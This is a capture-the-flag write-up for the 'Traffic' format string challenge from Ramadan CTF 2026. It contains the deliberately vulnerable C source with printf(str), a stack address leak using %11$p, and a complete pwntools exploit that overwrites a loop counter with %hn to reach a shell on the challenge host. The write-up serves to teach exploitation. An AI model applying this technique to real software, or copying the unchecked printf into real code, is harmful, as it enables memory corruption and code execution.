Ramadan CTF 2026 - Traffic
[ Traffic ] Writeup
Category: Pwn (Format String)
Difficulty: Medium
Author: Nerdicon
Access all challenges here:
GitHub Repository
Tools Used
gdbfor verifying stack layoutpython3 (pwntools)for exploit scripting
Overview
“Embouteillage w m3adch bekri 3l moghrib” – “Traffic jam and it’s almost Maghrib (iftar time)!” You’re stuck in traffic, and the loop counter is ticking toward 530 where you lose(). But if the counter makes it all the way to 696969, you break free and reach win(). Time to hack the loop counter with a format string write!
Source Code Analysis
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void win() {
puts("Sa7a Chribtk");
system("/bin/sh");
}
void lose() {
puts("Fetik el Ftour.");
exit(69);
}
void vuln() {
size_t i;
size_t* i_ptr = &i;
char str[32];
puts("M3adch Bekri: ");
for (i = 0; i < 696969; i++) {
printf("chn3ml? ");
fread(str, 1, sizeof(str) - 1, stdin); // reads 31 bytes
printf(str); // FORMAT STRING VULNERABILITY!
puts("");
if (i == 530) {
lose(); // game over at iteration 530
}
}
}
int main() {
// ...
vuln();
win(); // reached if loop completes (i >= 696969)
return 0;
}
File and checksec
The challenge:
- A loop runs
ifrom 0 to 696969. If it completes,win()is called. - At iteration 530,
lose()is called and the program exits. We’ll never reach 696969 normally. - Each iteration reads 31 bytes and passes them to
printf(str)– format string vulnerability. - There’s a convenient
i_ptr = &ion the stack – a pointer to the loop counter!
Our goal: use the format string to overwrite i to a value greater than 696969, making the loop exit and reaching win().
Tip: The
i_ptrvariable exists solely to put a pointer toion the stack. This is the challenge author being kind – without it, we’d need to leak or computei’s stack address ourselves.
Step 1: Leak the Address of i
First, we need to find i_ptr on the stack. Using format string fuzzing:
1
2
3
4
5
6
7
8
for i in range(1,15):
p.recvuntil(b"chn3ml? ")
p.send(f"aaaaaaaa%{i}$p\n".encode().ljust(32))
print("i:",i,p.recvline())
p.recvuntil(b"chn3ml? ")
p.send(f"aaaaaaaa%{i}$p\n".encode().ljust(32))
print("i:",i,p.recvline())
After fuzzing, we find:
- Offset 11 (
%11$p): containsi_ptr– the address of the loop counteri. - Offset 6: where our input buffer starts on the stack.
In the first loop iteration, we leak i_ptr:
1
p.send(f"|%11$p|".encode().ljust(31))
This gives us the exact stack address of i.
Step 2: Overwrite i Using %hn
Now we need to write a large value to i to skip past 696969. The trick: write to i_addr + 3 (the most significant bytes of the 8-byte size_t).
Using %hn (half-word write = 2 bytes), we write a small number to the upper bytes. Even a small value like 4 at offset +3 gives us:
1
i = 0x0004____ (where ____ are the current lower bytes)
0x00040000 = 262144, but since we’re writing to byte offset 3, it shifts by 24 bits, making i astronomically large – way past 696969.
The payload for the second iteration:
1
2
# Place i_addr+3 at stack offset 6+3 = 9
payload = f"aaaa%{str_offset+3}$hn2".encode().ljust(24, b" ") + p64(i_addr + 3)
aaaa= 4 characters printed (so%hnwrites the value 4)%9$hn= write 2 bytes at the address found at stack offset 9- The address
i_addr + 3is placed at stack offset 9 (after padding to align it)
When this executes, the upper bytes of i become non-zero, making i > 696969. The loop condition fails, the loop exits, and win() is called.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
#p = process("./main")
p = remote("tcp.espark.tn" , 1977)
str_offset = 6
i_addr_offset = 11
# Step 1: Leak address of i
p.recvuntil(b"chn3ml? ")
p.send(f"|%{i_addr_offset}$p|".encode().ljust(31))
p.recvuntil(b"|")
i_addr = p.recvuntil(b"|")[:-1]
log.info(f"{i_addr=}")
i_addr = p64(int(i_addr, 16) + 3) # target MSB of i
# Step 2: Overwrite i to skip the loop
payload = b""
payload += f"aaaa%{str_offset+3}$hn2".encode().ljust(24, b" ")
payload += i_addr
log.info(f"payload len : {len(payload)}")
p.recvuntil(b"chn3ml? ")
p.send(payload)
p.interactive()
Key Takeaways
- Format string writes (
%n,%hn,%hhn) can modify any writable memory if you can place the target address on the stack. %hnwrites 2 bytes,%hhnwrites 1 byte,%nwrites 4 bytes – choose based on how much you need to modify.- Writing to higher bytes of a multi-byte integer is a clever trick. Instead of writing a huge value (696970+), you write a tiny value to byte offset +3, which shifts it into the upper bits and makes the number massive.
- Format string bugs in loops are extra dangerous – you get multiple shots, one for leaking and another for writing.
Helpful Resources
Thanks for reading!